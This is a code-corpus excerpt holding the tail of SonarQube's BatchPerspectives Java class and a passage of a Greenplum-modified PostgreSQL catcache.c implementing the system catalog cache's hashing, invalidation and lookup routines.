import org.sonar.batch.index.BatchComponentCache;
public class BatchPerspectives implements ResourcePerspectives {
private final Map<Class<?>, PerspectiveBuilder<?>> builders = Maps.newHashMap();
private final SonarIndex resourceIndex;
private final BatchComponentCache componentCache;
public BatchPerspectives(PerspectiveBuilder[] builders, SonarIndex resourceIndex, BatchComponentCache componentCache) {
this.resourceIndex = resourceIndex;
this.componentCache = componentCache;
for (PerspectiveBuilder builder : builders) {
this.builders.put(builder.getPerspectiveClass(), builder);
}
}
@Override
@CheckForNull
public <P extends Perspective> P as(Class<P> perspectiveClass, Resource resource) {
Resource indexedResource = resource;
if (resource.getEffectiveKey() == null) {
indexedResource = resourceIndex.getResource(resource);
}
if (indexedResource != null) {
PerspectiveBuilder<P> builder = builderFor(perspectiveClass);
return builder.loadPerspective(perspectiveClass, componentCache.get(indexedResource));
}
return null;
}
@Override
public <P extends Perspective> P as(Class<P> perspectiveClass, InputPath inputPath) {
PerspectiveBuilder<P> builder = builderFor(perspectiveClass);
return builder.loadPerspective(perspectiveClass, componentCache.get(inputPath));
}
private <T extends Perspective> PerspectiveBuilder<T> builderFor(Class<T> clazz) {
PerspectiveBuilder<T> builder = (PerspectiveBuilder<T>) builders.get(clazz);
if (builder == null) {
throw new PerspectiveNotFoundException("Perspective class is not registered: " + clazz);
}
return builder;
}
}
| abbeyj/sonarqube | sonar-batch/src/main/java/org/sonar/batch/deprecated/perspectives/BatchPerspectives.java | Java | lgpl-3.0 | 2,944 |
/*-------------------------------------------------------------------------
*
* catcache.c
* System catalog cache for tuples matching a key.
*
* Portions Copyright (c) 1996-2009, PostgreSQL Global Development Group
* Portions Copyright (c) 1994, Regents of the University of California
*
*
* IDENTIFICATION
* $PostgreSQL: pgsql/src/backend/utils/cache/catcache.c,v 1.134 2006/10/06 18:23:35 tgl Exp $
*
*-------------------------------------------------------------------------
*/
#include "postgres.h"
#include "access/genam.h"
#include "access/hash.h"
#include "access/heapam.h"
#include "access/relscan.h"
#include "access/sysattr.h"
#include "access/valid.h"
#include "catalog/pg_operator.h"
#include "catalog/pg_type.h"
#include "miscadmin.h"
#ifdef CATCACHE_STATS
#include "storage/ipc.h" /* for on_proc_exit */
#endif
#include "utils/builtins.h"
#include "utils/fmgroids.h"
#include "utils/inval.h"
#include "utils/memutils.h"
#include "utils/relcache.h"
#include "utils/rel.h"
#include "utils/resowner.h"
#include "utils/syscache.h"
#include "utils/guc.h"
/* #define CACHEDEBUG */ /* turns DEBUG elogs on */
/*
* Given a hash value and the size of the hash table, find the bucket
* in which the hash value belongs. Since the hash table must contain
* a power-of-2 number of elements, this is a simple bitmask.
*/
#define HASH_INDEX(h, sz) ((Index) ((h) & ((sz) - 1)))
/*
* variables, macros and other stuff
*/
#ifdef CACHEDEBUG
#define CACHE1_elog(a,b) elog(a,b)
#define CACHE2_elog(a,b,c) elog(a,b,c)
#define CACHE3_elog(a,b,c,d) elog(a,b,c,d)
#define CACHE4_elog(a,b,c,d,e) elog(a,b,c,d,e)
#define CACHE5_elog(a,b,c,d,e,f) elog(a,b,c,d,e,f)
#define CACHE6_elog(a,b,c,d,e,f,g) elog(a,b,c,d,e,f,g)
#else
#define CACHE1_elog(a,b)
#define CACHE2_elog(a,b,c)
#define CACHE3_elog(a,b,c,d)
#define CACHE4_elog(a,b,c,d,e)
#define CACHE5_elog(a,b,c,d,e,f)
#define CACHE6_elog(a,b,c,d,e,f,g)
#endif
/* Cache management header --- pointer is NULL until created */
static CatCacheHeader *CCacheHdr = NULL;
static uint32 CatalogCacheComputeHashValue(CatCache *cache, int nkeys,
ScanKey cur_skey);
static uint32 CatalogCacheComputeTupleHashValue(CatCache *cache,
HeapTuple tuple);
#ifdef CATCACHE_STATS
static void CatCachePrintStats(int code, Datum arg);
#endif
static void CatCacheRemoveCTup(CatCache *cache, CatCTup *ct);
static void CatCacheRemoveCList(CatCache *cache, CatCList *cl);
static void CatalogCacheInitializeCache(CatCache *cache);
static CatCTup *CatalogCacheCreateEntry(CatCache *cache, HeapTuple ntp,
uint32 hashValue, Index hashIndex,
bool negative);
static HeapTuple build_dummy_tuple(CatCache *cache, int nkeys, ScanKey skeys);
/*
* internal support functions
*/
/*
* Look up the hash and equality functions for system types that are used
* as cache key fields.
*
* XXX this should be replaced by catalog lookups,
* but that seems to pose considerable risk of circularity...
*/
static void
GetCCHashEqFuncs(Oid keytype, PGFunction *hashfunc, RegProcedure *eqfunc)
{
switch (keytype)
{
case BOOLOID:
*hashfunc = hashchar;
*eqfunc = F_BOOLEQ;
break;
case CHAROID:
*hashfunc = hashchar;
*eqfunc = F_CHAREQ;
break;
case NAMEOID:
*hashfunc = hashname;
*eqfunc = F_NAMEEQ;
break;
case INT2OID:
*hashfunc = hashint2;
*eqfunc = F_INT2EQ;
break;
case INT2VECTOROID:
*hashfunc = hashint2vector;
*eqfunc = F_INT2VECTOREQ;
break;
case INT4OID:
*hashfunc = hashint4;
*eqfunc = F_INT4EQ;
break;
case TEXTOID:
*hashfunc = hashtext;
*eqfunc = F_TEXTEQ;
break;
case OIDOID:
case REGPROCOID:
case REGPROCEDUREOID:
case REGOPEROID:
case REGOPERATOROID:
case REGCLASSOID:
case REGTYPEOID:
*hashfunc = hashoid;
*eqfunc = F_OIDEQ;
break;
case OIDVECTOROID:
*hashfunc = hashoidvector;
*eqfunc = F_OIDVECTOREQ;
break;
default:
elog(FATAL, "type %u not supported as catcache key", keytype);
*hashfunc = NULL; /* keep compiler quiet */
*eqfunc = InvalidOid;
break;
}
}
/*
* CatalogCacheComputeHashValue
*
* Compute the hash value associated with a given set of lookup keys
*/
static uint32
CatalogCacheComputeHashValue(CatCache *cache, int nkeys, ScanKey cur_skey)
{
uint32 hashValue = 0;
CACHE4_elog(DEBUG2, "CatalogCacheComputeHashValue %s %d %p",
cache->cc_relname,
nkeys,
cache);
switch (nkeys)
{
case 4:
hashValue ^=
DatumGetUInt32(DirectFunctionCall1(cache->cc_hashfunc[3],
cur_skey[3].sk_argument)) << 9;
/* FALLTHROUGH */
case 3:
hashValue ^=
DatumGetUInt32(DirectFunctionCall1(cache->cc_hashfunc[2],
cur_skey[2].sk_argument)) << 6;
/* FALLTHROUGH */
case 2:
hashValue ^=
DatumGetUInt32(DirectFunctionCall1(cache->cc_hashfunc[1],
cur_skey[1].sk_argument)) << 3;
/* FALLTHROUGH */
case 1:
hashValue ^=
DatumGetUInt32(DirectFunctionCall1(cache->cc_hashfunc[0],
cur_skey[0].sk_argument));
break;
default:
elog(FATAL, "wrong number of hash keys: %d", nkeys);
break;
}
return hashValue;
}
/*
* CatalogCacheComputeTupleHashValue
*
* Compute the hash value associated with a given tuple to be cached
*/
static uint32
CatalogCacheComputeTupleHashValue(CatCache *cache, HeapTuple tuple)
{
ScanKeyData cur_skey[CATCACHE_MAXKEYS];
bool isNull = false;
/* Copy pre-initialized overhead data for scankey */
memcpy(cur_skey, cache->cc_skey, sizeof(cur_skey));
/* Now extract key fields from tuple, insert into scankey */
switch (cache->cc_nkeys)
{
case 4:
cur_skey[3].sk_argument =
(cache->cc_key[3] == ObjectIdAttributeNumber)
? ObjectIdGetDatum(HeapTupleGetOid(tuple))
: fastgetattr(tuple,
cache->cc_key[3],
cache->cc_tupdesc,
&isNull);
Assert(!isNull);
/* FALLTHROUGH */
case 3:
cur_skey[2].sk_argument =
(cache->cc_key[2] == ObjectIdAttributeNumber)
? ObjectIdGetDatum(HeapTupleGetOid(tuple))
: fastgetattr(tuple,
cache->cc_key[2],
cache->cc_tupdesc,
&isNull);
Assert(!isNull);
/* FALLTHROUGH */
case 2:
cur_skey[1].sk_argument =
(cache->cc_key[1] == ObjectIdAttributeNumber)
? ObjectIdGetDatum(HeapTupleGetOid(tuple))
: fastgetattr(tuple,
cache->cc_key[1],
cache->cc_tupdesc,
&isNull);
Assert(gp_upgrade_mode||!isNull); // Need to skip in upgrade mode for new added column nspdboid of table pg_namespace
/* FALLTHROUGH */
case 1:
cur_skey[0].sk_argument =
(cache->cc_key[0] == ObjectIdAttributeNumber)
? ObjectIdGetDatum(HeapTupleGetOid(tuple))
: fastgetattr(tuple,
cache->cc_key[0],
cache->cc_tupdesc,
&isNull);
Assert(!isNull);
break;
default:
elog(FATAL, "wrong number of hash keys: %d", cache->cc_nkeys);
break;
}
return CatalogCacheComputeHashValue(cache, cache->cc_nkeys, cur_skey);
}
#ifdef CATCACHE_STATS
static void
CatCachePrintStats(int code, Datum arg)
{
CatCache *cache;
long cc_searches = 0;
long cc_hits = 0;
long cc_neg_hits = 0;
long cc_newloads = 0;
long cc_invals = 0;
long cc_lsearches = 0;
long cc_lhits = 0;
for (cache = CCacheHdr->ch_caches; cache; cache = cache->cc_next)
{
if (cache->cc_ntup == 0 && cache->cc_searches == 0)
continue; /* don't print unused caches */
elog(DEBUG2, "catcache %s/%u: %d tup, %ld srch, %ld+%ld=%ld hits, %ld+%ld=%ld loads, %ld invals, %ld lsrch, %ld lhits",
cache->cc_relname,
cache->cc_indexoid,
cache->cc_ntup,
cache->cc_searches,
cache->cc_hits,
cache->cc_neg_hits,
cache->cc_hits + cache->cc_neg_hits,
cache->cc_newloads,
cache->cc_searches - cache->cc_hits - cache->cc_neg_hits - cache->cc_newloads,
cache->cc_searches - cache->cc_hits - cache->cc_neg_hits,
cache->cc_invals,
cache->cc_lsearches,
cache->cc_lhits);
cc_searches += cache->cc_searches;
cc_hits += cache->cc_hits;
cc_neg_hits += cache->cc_neg_hits;
cc_newloads += cache->cc_newloads;
cc_invals += cache->cc_invals;
cc_lsearches += cache->cc_lsearches;
cc_lhits += cache->cc_lhits;
}
elog(DEBUG2, "catcache totals: %d tup, %ld srch, %ld+%ld=%ld hits, %ld+%ld=%ld loads, %ld invals, %ld lsrch, %ld lhits",
CCacheHdr->ch_ntup,
cc_searches,
cc_hits,
cc_neg_hits,
cc_hits + cc_neg_hits,
cc_newloads,
cc_searches - cc_hits - cc_neg_hits - cc_newloads,
cc_searches - cc_hits - cc_neg_hits,
cc_invals,
cc_lsearches,
cc_lhits);
}
#endif /* CATCACHE_STATS */
/*
* CatCacheRemoveCTup
*
* Unlink and delete the given cache entry
*
* NB: if it is a member of a CatCList, the CatCList is deleted too.
* Both the cache entry and the list had better have zero refcount.
*/
static void
CatCacheRemoveCTup(CatCache *cache, CatCTup *ct)
{
Assert(ct->refcount == 0);
Assert(ct->my_cache == cache);
if (ct->c_list)
{
/*
* The cleanest way to handle this is to call CatCacheRemoveCList,
* which will recurse back to me, and the recursive call will do the
* work. Set the "dead" flag to make sure it does recurse.
*/
ct->dead = true;
CatCacheRemoveCList(cache, ct->c_list);
return; /* nothing left to do */
}
/* delink from linked list */
DLRemove(&ct->cache_elem);
/* free associated tuple data */
if (ct->tuple.t_data != NULL)
pfree(ct->tuple.t_data);
pfree(ct);
--cache->cc_ntup;
--CCacheHdr->ch_ntup;
}
/*
* CatCacheRemoveCList
*
* Unlink and delete the given cache list entry
*
* NB: any dead member entries that become unreferenced are deleted too.
*/
static void
CatCacheRemoveCList(CatCache *cache, CatCList *cl)
{
int i;
Assert(cl->refcount == 0);
Assert(cl->my_cache == cache);
/* delink from member tuples */
for (i = cl->n_members; --i >= 0;)
{
CatCTup *ct = cl->members[i];
Assert(ct->c_list == cl);
ct->c_list = NULL;
/* if the member is dead and now has no references, remove it */
if (
#ifndef CATCACHE_FORCE_RELEASE
ct->dead &&
#endif
ct->refcount == 0)
CatCacheRemoveCTup(cache, ct);
}
/* delink from linked list */
DLRemove(&cl->cache_elem);
/* free associated tuple data */
if (cl->tuple.t_data != NULL)
pfree(cl->tuple.t_data);
pfree(cl);
}
/*
* CatalogCacheIdInvalidate
*
* Invalidate entries in the specified cache, given a hash value and
* item pointer. Positive entries are deleted if they match the item
* pointer. Negative entries must be deleted if they match the hash
* value (since we do not have the exact key of the tuple that's being
* inserted). But this should only rarely result in loss of a cache
* entry that could have been kept.
*
* Note that it's not very relevant whether the tuple identified by
* the item pointer is being inserted or deleted. We don't expect to
* find matching positive entries in the one case, and we don't expect
* to find matching negative entries in the other; but we will do the
* right things in any case.
*
* This routine is only quasi-public: it should only be used by inval.c.
*/
void
CatalogCacheIdInvalidate(int cacheId,
uint32 hashValue,
ItemPointer pointer)
{
CatCache *ccp;
/*
* sanity checks
*/
#ifdef USE_ASSERT_CHECKING
/* Add some debug info for MPP-5739 */
if (!ItemPointerIsValid(pointer))
{
elog(LOG, "CatalogCacheIdInvalidate: cacheId %d, hash %u IP %p", cacheId, hashValue, pointer);
if (pointer != NULL)
{
elog(LOG, "CatalogCacheIdInvalidate: bogus item (?): (blkid.hi %d blkid.lo %d posid %d)",
pointer->ip_blkid.bi_hi, pointer->ip_blkid.bi_lo, pointer->ip_posid);
}
}
#endif
Assert(ItemPointerIsValid(pointer));
CACHE1_elog(DEBUG2, "CatalogCacheIdInvalidate: called");
/*
* inspect caches to find the proper cache
*/
for (ccp = CCacheHdr->ch_caches; ccp; ccp = ccp->cc_next)
{
Index hashIndex;
Dlelem *elt,
*nextelt;
if (cacheId != ccp->id)
continue;
/*
* We don't bother to check whether the cache has finished
* initialization yet; if not, there will be no entries in it so no
* problem.
*/
/*
* Invalidate *all* CatCLists in this cache; it's too hard to tell
* which searches might still be correct, so just zap 'em all.
*/
for (elt = DLGetHead(&ccp->cc_lists); elt; elt = nextelt)
{
CatCList *cl = (CatCList *) DLE_VAL(elt);
nextelt = DLGetSucc(elt);
if (cl->refcount > 0)
cl->dead = true;
else
CatCacheRemoveCList(ccp, cl);
}
/*
* inspect the proper hash bucket for tuple matches
*/
hashIndex = HASH_INDEX(hashValue, ccp->cc_nbuckets);
for (elt = DLGetHead(&ccp->cc_bucket[hashIndex]); elt; elt = nextelt)
{
CatCTup *ct = (CatCTup *) DLE_VAL(elt);
nextelt = DLGetSucc(elt);
if (hashValue != ct->hash_value)
continue; /* ignore non-matching hash values */
if (ct->negative ||
ItemPointerEquals(pointer, &ct->tuple.t_self))
{
if (ct->refcount > 0 ||
(ct->c_list && ct->c_list->refcount > 0))
{
ct->dead = true;
/* list, if any, was marked dead above */
Assert(ct->c_list == NULL || ct->c_list->dead);
}
else
CatCacheRemoveCTup(ccp, ct);
CACHE1_elog(DEBUG2, "CatalogCacheIdInvalidate: invalidated");
#ifdef CATCACHE_STATS
ccp->cc_invals++;
#endif
/* could be multiple matches, so keep looking! */
}
}
break; /* need only search this one cache */
}
}
/* ----------------------------------------------------------------
* public functions
* ----------------------------------------------------------------
*/
/*
* Standard routine for creating cache context if it doesn't exist yet
*
* There are a lot of places (probably far more than necessary) that check
* whether CacheMemoryContext exists yet and want to create it if not.
* We centralize knowledge of exactly how to create it here.
*/
void
CreateCacheMemoryContext(void)
{
/*
* Purely for paranoia, check that context doesn't exist; caller probably
* did so already.
*/
if (!CacheMemoryContext)
CacheMemoryContext = AllocSetContextCreate(TopMemoryContext,
"CacheMemoryContext",
ALLOCSET_DEFAULT_MINSIZE,
ALLOCSET_DEFAULT_INITSIZE,
ALLOCSET_DEFAULT_MAXSIZE);
}
/*
* AtEOXact_CatCache
*
* Clean up catcaches at end of main transaction (either commit or abort)
*
* As of PostgreSQL 8.1, catcache pins should get released by the
* ResourceOwner mechanism. This routine is just a debugging
* cross-check that no pins remain.
*/
void
AtEOXact_CatCache(bool isCommit)
{
#ifdef USE_ASSERT_CHECKING
if (assert_enabled)
{
CatCache *ccp;
for (ccp = CCacheHdr->ch_caches; ccp; ccp = ccp->cc_next)
{
Dlelem *elt;
int i;
/* Check CatCLists */
for (elt = DLGetHead(&ccp->cc_lists); elt; elt = DLGetSucc(elt))
{
CatCList *cl = (CatCList *) DLE_VAL(elt);
Assert(cl->cl_magic == CL_MAGIC);
Assert(cl->refcount == 0);
Assert(!cl->dead);
}
/* Check individual tuples */
for (i = 0; i < ccp->cc_nbuckets; i++)
{
for (elt = DLGetHead(&ccp->cc_bucket[i]);
elt;
elt = DLGetSucc(elt))
{
CatCTup *ct = (CatCTup *) DLE_VAL(elt);
Assert(ct->ct_magic == CT_MAGIC);
Assert(ct->refcount == 0);
Assert(!ct->dead);
}
}
}
}
#endif
}
/*
* ResetCatalogCache
*
* Reset one catalog cache to empty.
*
* This is not very efficient if the target cache is nearly empty.
* However, it shouldn't need to be efficient; we don't invoke it often.
*/
static void
ResetCatalogCache(CatCache *cache)
{
Dlelem *elt,
*nextelt;
int i;
/* Remove each list in this cache, or at least mark it dead */
for (elt = DLGetHead(&cache->cc_lists); elt; elt = nextelt)
{
CatCList *cl = (CatCList *) DLE_VAL(elt);
nextelt = DLGetSucc(elt);
if (cl->refcount > 0)
cl->dead = true;
else
CatCacheRemoveCList(cache, cl);
}
/* Remove each tuple in this cache, or at least mark it dead */
for (i = 0; i < cache->cc_nbuckets; i++)
{
for (elt = DLGetHead(&cache->cc_bucket[i]); elt; elt = nextelt)
{
CatCTup *ct = (CatCTup *) DLE_VAL(elt);
nextelt = DLGetSucc(elt);
if (ct->refcount > 0 ||
(ct->c_list && ct->c_list->refcount > 0))
{
ct->dead = true;
/* list, if any, was marked dead above */
Assert(ct->c_list == NULL || ct->c_list->dead);
}
else
CatCacheRemoveCTup(cache, ct);
#ifdef CATCACHE_STATS
cache->cc_invals++;
#endif
}
}
}
/*
* ResetCatalogCaches
*
* Reset all caches when a shared cache inval event forces it
*/
void
ResetCatalogCaches(void)
{
CatCache *cache;
CACHE1_elog(DEBUG2, "ResetCatalogCaches called");
for (cache = CCacheHdr->ch_caches; cache; cache = cache->cc_next)
ResetCatalogCache(cache);
CACHE1_elog(DEBUG2, "end of ResetCatalogCaches call");
}
/*
* InitCatCache
*
* This allocates and initializes a cache for a system catalog relation.
* Actually, the cache is only partially initialized to avoid opening the
* relation. The relation will be opened and the rest of the cache
* structure initialized on the first access.
*/
#ifdef CACHEDEBUG
#define InitCatCache_DEBUG2 \
do { \
elog(DEBUG2, "InitCatCache: rel=%u ind=%u id=%d nkeys=%d size=%d", \
cp->cc_reloid, cp->cc_indexoid, cp->id, \
cp->cc_nkeys, cp->cc_nbuckets); \
} while(0)
#else
#define InitCatCache_DEBUG2
#endif
CatCache *
InitCatCache(int id,
Oid reloid,
Oid indexoid,
int nkeys,
const int *key,
int nbuckets)
{
CatCache *cp;
MemoryContext oldcxt;
int i;
/*
* nbuckets is the number of hash buckets to use in this catcache.
* Currently we just use a hard-wired estimate of an appropriate size for
* each cache; maybe later make them dynamically resizable?
*
* nbuckets must be a power of two. We check this via Assert rather than
* a full runtime check because the values will be coming from constant
* tables.
*
* If you're confused by the power-of-two check, see comments in
* bitmapset.c for an explanation.
*/
Assert(nbuckets > 0 && (nbuckets & -nbuckets) == nbuckets);
/*
* first switch to the cache context so our allocations do not vanish at
* the end of a transaction
*/
if (!CacheMemoryContext)
CreateCacheMemoryContext();
oldcxt = MemoryContextSwitchTo(CacheMemoryContext);
/*
* if first time through, initialize the cache group header
*/
if (CCacheHdr == NULL)
{
CCacheHdr = (CatCacheHeader *) palloc(sizeof(CatCacheHeader));
CCacheHdr->ch_caches = NULL;
CCacheHdr->ch_ntup = 0;
#ifdef CATCACHE_STATS
/* set up to dump stats at backend exit */
on_proc_exit(CatCachePrintStats, 0);
#endif
}
/*
* allocate a new cache structure
*
* Note: we assume zeroing initializes the Dllist headers correctly
*/
cp = (CatCache *) palloc0(sizeof(CatCache) + nbuckets * sizeof(Dllist));
/*
* initialize the cache's relation information for the relation
* corresponding to this cache, and initialize some of the new cache's
* other internal fields. But don't open the relation yet.
*/
cp->id = id;
cp->cc_relname = "(not known yet)";
cp->cc_reloid = reloid;
cp->cc_indexoid = indexoid;
cp->cc_relisshared = false; /* temporary */
cp->cc_tupdesc = (TupleDesc) NULL;
cp->cc_ntup = 0;
cp->cc_nbuckets = nbuckets;
cp->cc_nkeys = nkeys;
for (i = 0; i < nkeys; ++i)
cp->cc_key[i] = key[i];
/*
* new cache is initialized as far as we can go for now. print some
* debugging information, if appropriate.
*/
InitCatCache_DEBUG2;
/*
* add completed cache to top of group header's list
*/
cp->cc_next = CCacheHdr->ch_caches;
CCacheHdr->ch_caches = cp;
/*
* back to the old context before we return...
*/
MemoryContextSwitchTo(oldcxt);
return cp;
}
/*
* CatalogCacheInitializeCache
*
* This function does final initialization of a catcache: obtain the tuple
* descriptor and set up the hash and equality function links. We assume
* that the relcache entry can be opened at this point!
*/
#ifdef CACHEDEBUG
#define CatalogCacheInitializeCache_DEBUG1 \
elog(DEBUG2, "CatalogCacheInitializeCache: cache @%p rel=%u", cache, \
cache->cc_reloid)
#define CatalogCacheInitializeCache_DEBUG2 \
do { \
if (cache->cc_key[i] > 0) { \
elog(DEBUG2, "CatalogCacheInitializeCache: load %d/%d w/%d, %u", \
i+1, cache->cc_nkeys, cache->cc_key[i], \
tupdesc->attrs[cache->cc_key[i] - 1]->atttypid); \
} else { \
elog(DEBUG2, "CatalogCacheInitializeCache: load %d/%d w/%d", \
i+1, cache->cc_nkeys, cache->cc_key[i]); \
} \
} while(0)
#else
#define CatalogCacheInitializeCache_DEBUG1
#define CatalogCacheInitializeCache_DEBUG2
#endif
static void
CatalogCacheInitializeCache(CatCache *cache)
{
Relation relation;
MemoryContext oldcxt;
TupleDesc tupdesc;
int i;
CatalogCacheInitializeCache_DEBUG1;
relation = heap_open(cache->cc_reloid, AccessShareLock);
/*
* switch to the cache context so our allocations do not vanish at the end
* of a transaction
*/
Assert(CacheMemoryContext != NULL);
oldcxt = MemoryContextSwitchTo(CacheMemoryContext);
/*
* copy the relcache's tuple descriptor to permanent cache storage
*/
tupdesc = CreateTupleDescCopyConstr(RelationGetDescr(relation));
/*
* save the relation's name and relisshared flag, too (cc_relname is used
* only for debugging purposes)
*/
cache->cc_relname = pstrdup(RelationGetRelationName(relation));
cache->cc_relisshared = RelationGetForm(relation)->relisshared;
/*
* return to the caller's memory context and close the rel
*/
MemoryContextSwitchTo(oldcxt);
heap_close(relation, AccessShareLock);
CACHE3_elog(DEBUG2, "CatalogCacheInitializeCache: %s, %d keys",
cache->cc_relname, cache->cc_nkeys);
/*
* initialize cache's key information
*/
for (i = 0; i < cache->cc_nkeys; ++i)
{
Oid keytype;
RegProcedure eqfunc;
CatalogCacheInitializeCache_DEBUG2;
if (cache->cc_key[i] > 0)
keytype = tupdesc->attrs[cache->cc_key[i] - 1]->atttypid;
else
{
if (cache->cc_key[i] != ObjectIdAttributeNumber)
elog(FATAL, "only sys attr supported in caches is OID");
keytype = OIDOID;
}
GetCCHashEqFuncs(keytype,
&cache->cc_hashfunc[i],
&eqfunc);
cache->cc_isname[i] = (keytype == NAMEOID);
/*
* Do equality-function lookup (we assume this won't need a catalog
* lookup for any supported type)
*/
fmgr_info_cxt(eqfunc,
&cache->cc_skey[i].sk_func,
CacheMemoryContext);
/* Initialize sk_attno suitably for HeapKeyTest() and heap scans */
cache->cc_skey[i].sk_attno = cache->cc_key[i];
/* Fill in sk_strategy as well --- always standard equality */
cache->cc_skey[i].sk_strategy = BTEqualStrategyNumber;
cache->cc_skey[i].sk_subtype = InvalidOid;
CACHE4_elog(DEBUG2, "CatalogCacheInitializeCache %s %d %p",
cache->cc_relname,
i,
cache);
}
/*
* mark this cache fully initialized
*/
cache->cc_tupdesc = tupdesc;
}
/*
* InitCatCachePhase2 -- external interface for CatalogCacheInitializeCache
*
* One reason to call this routine is to ensure that the relcache has
* created entries for all the catalogs and indexes referenced by catcaches.
* Therefore, provide an option to open the index as well as fixing the
* cache itself. An exception is the indexes on pg_am, which we don't use
* (cf. IndexScanOK).
*/
void
InitCatCachePhase2(CatCache *cache, bool touch_index)
{
if (cache->cc_tupdesc == NULL)
CatalogCacheInitializeCache(cache);
if (touch_index &&
cache->id != AMOID &&
cache->id != AMNAME)
{
Relation idesc;
idesc = index_open(cache->cc_indexoid, AccessShareLock);
index_close(idesc, AccessShareLock);
}
}
/*
* IndexScanOK
*
* This function checks for tuples that will be fetched by
* IndexSupportInitialize() during relcache initialization for
* certain system indexes that support critical syscaches.
* We can't use an indexscan to fetch these, else we'll get into
* infinite recursion. A plain heap scan will work, however.
* Once we have completed relcache initialization (signaled by
* criticalRelcachesBuilt), we don't have to worry anymore.
*
* Similarly, during backend startup we have to be able to use the
* pg_authid and pg_auth_members syscaches for authentication even if
* we don't yet have relcache entries for those catalogs' indexes.
*/
static bool
IndexScanOK(CatCache *cache, ScanKey cur_skey)
{
switch (cache->id)
{
case INDEXRELID:
/*
* Rather than tracking exactly which indexes have to be loaded
* before we can use indexscans (which changes from time to time),
* just force all pg_index searches to be heap scans until we've
* built the critical relcaches.
*/
if (!criticalRelcachesBuilt)
return false;
break;
case AMOID:
case AMNAME:
/*
* Always do heap scans in pg_am, because it's so small there's
* not much point in an indexscan anyway. We *must* do this when
* initially building critical relcache entries, but we might as
* well just always do it.
*/
return false;
case OPEROID:
if (!criticalRelcachesBuilt)
{
/* Looking for an OID comparison function? */
Oid lookup_oid = DatumGetObjectId(cur_skey[0].sk_argument);
if (lookup_oid >= MIN_OIDCMP && lookup_oid <= MAX_OIDCMP)
return false;
}
default:
break;
}
/* Normal case, allow index scan */
return true;
}
/*
* SearchCatCache
*
* This call searches a system cache for a tuple, opening the relation
* if necessary (on the first access to a particular cache).
*
* The result is NULL if not found, or a pointer to a HeapTuple in
* the cache. The caller must not modify the tuple, and must call
* ReleaseCatCache() when done with it.
*
* The search key values should be expressed as Datums of the key columns'
* datatype(s). (Pass zeroes for any unused parameters.) As a special
* exception, the passed-in key for a NAME column can be just a C string;
* the caller need not go to the trouble of converting it to a fully
* null-padded NAME.
*/
HeapTuple
SearchCatCache(CatCache *cache,
Datum v1,
Datum v2,
Datum v3,
Datum v4)
{
ScanKeyData cur_skey[CATCACHE_MAXKEYS];
uint32 hashValue;
Index hashIndex;
Dlelem *elt;
CatCTup *ct;
Relation relation;
SysScanDesc scandesc;
HeapTuple ntp;
/*
* one-time startup overhead for each cache
*/
if (cache->cc_tupdesc == NULL)
CatalogCacheInitializeCache(cache);
#ifdef CATCACHE_STATS
cache->cc_searches++;
#endif
/*
* initialize the search key information
*/
memcpy(cur_skey, cache->cc_skey, sizeof(cur_skey));
cur_skey[0].sk_argument = v1;
cur_skey[1].sk_argument = v2;
cur_skey[2].sk_argument = v3;
cur_skey[3].sk_argument = v4;
/*
* find the hash bucket in which to look for the tuple
*/
hashValue = CatalogCacheComputeHashValue(cache, cache->cc_nkeys, cur_skey);
hashIndex = HASH_INDEX(hashValue, cache->cc_nbuckets);
/*
* scan the hash bucket until we find a match or exhaust our tuples
*/
for (elt = DLGetHead(&cache->cc_bucket[hashIndex]);
elt;
elt = DLGetSucc(elt))
{
bool res;
ct = (CatCTup *) DLE_VAL(elt);
if (ct->dead)
continue; /* ignore dead entries */
if (ct->hash_value != hashValue)
continue; /* quickly skip entry if wrong hash val */
/*
* see if the cached tuple matches our key.
*/
HeapKeyTest(&ct->tuple,
cache->cc_tupdesc,
cache->cc_nkeys,
cur_skey,
&res);
if (!res)
continue;
/*
* We found a match in the cache. Move it to the front of the list
* for its hashbucket, in order to speed subsequent searches. (The
* most frequently accessed elements in any hashbucket will tend to be
* near the front of the hashbucket's list.)
*/
DLMoveToFront(&ct->cache_elem);
/*
* If it's a positive entry, bump its refcount and return it. If it's
* negative, we can report failure to the caller.
*/
if (!ct->negative)
{
ResourceOwnerEnlargeCatCacheRefs(CurrentResourceOwner);
ct->refcount++;
ResourceOwnerRememberCatCacheRef(CurrentResourceOwner, &ct->tuple);
CACHE3_elog(DEBUG2, "SearchCatCache(%s): found in bucket %d",
cache->cc_relname, hashIndex);
#ifdef CATCACHE_STATS
cache->cc_hits++;
#endif
return &ct->tuple;
}
else
{
CACHE3_elog(DEBUG2, "SearchCatCache(%s): found neg entry in bucket %d",
cache->cc_relname, hashIndex);
#ifdef CATCACHE_STATS
cache->cc_neg_hits++;
#endif
return NULL;
}
}
/*
* Tuple was not found in cache, so we have to try to retrieve it directly
* from the relation. If found, we will add it to the cache; if not
* found, we will add a negative cache entry instead.
*
* NOTE: it is possible for recursive cache lookups to occur while reading
* the relation --- for example, due to shared-cache-inval messages being
* processed during heap_open(). This is OK. It's even possible for one
* of those lookups to find and enter the very same tuple we are trying to
* fetch here. If that happens, we will enter a second copy of the tuple
* into the cache. The first copy will never be referenced again, and
* will eventually age out of the cache, so there's no functional problem.
* This case is rare enough that it's not worth expending extra cycles to
* detect.
*/
relation = heap_open(cache->cc_reloid, AccessShareLock);
scandesc = systable_beginscan(relation,
cache->cc_indexoid,
IndexScanOK(cache, cur_skey),
SnapshotNow,
cache->cc_nkeys,
cur_skey);
ct = NULL;
while (HeapTupleIsValid(ntp = systable_getnext(scandesc)))
{
ct = CatalogCacheCreateEntry(cache, ntp,
hashValue, hashIndex,
false);
if (scandesc->inmemonlyscan)
{
/* Make sure tuple is removed during ReleaseCatCache */
ct->dead = true;
}
/* immediately set the refcount to 1 */
ResourceOwnerEnlargeCatCacheRefs(CurrentResourceOwner);
ct->refcount++;
ResourceOwnerRememberCatCacheRef(CurrentResourceOwner, &ct->tuple);
break; /* assume only one match */
}
systable_endscan(scandesc);
heap_close(relation, AccessShareLock);
if (ct == NULL)
{
return NULL;
}
CACHE4_elog(DEBUG2, "SearchCatCache(%s): Contains %d/%d tuples",
cache->cc_relname, cache->cc_ntup, CCacheHdr->ch_ntup);
CACHE3_elog(DEBUG2, "SearchCatCache(%s): put in bucket %d",
cache->cc_relname, hashIndex);
#ifdef CATCACHE_STATS
cache->cc_newloads++;
#endif
return &ct->tuple;
}
/*
* ReleaseCatCache
*
* Decrement the reference count of a catcache entry (releasing the
* hold grabbed by a successful SearchCatCache).
*
* NOTE: if compiled with -DCATCACHE_FORCE_RELEASE then catcache entries
* will be freed as soon as their refcount goes to zero. In combination
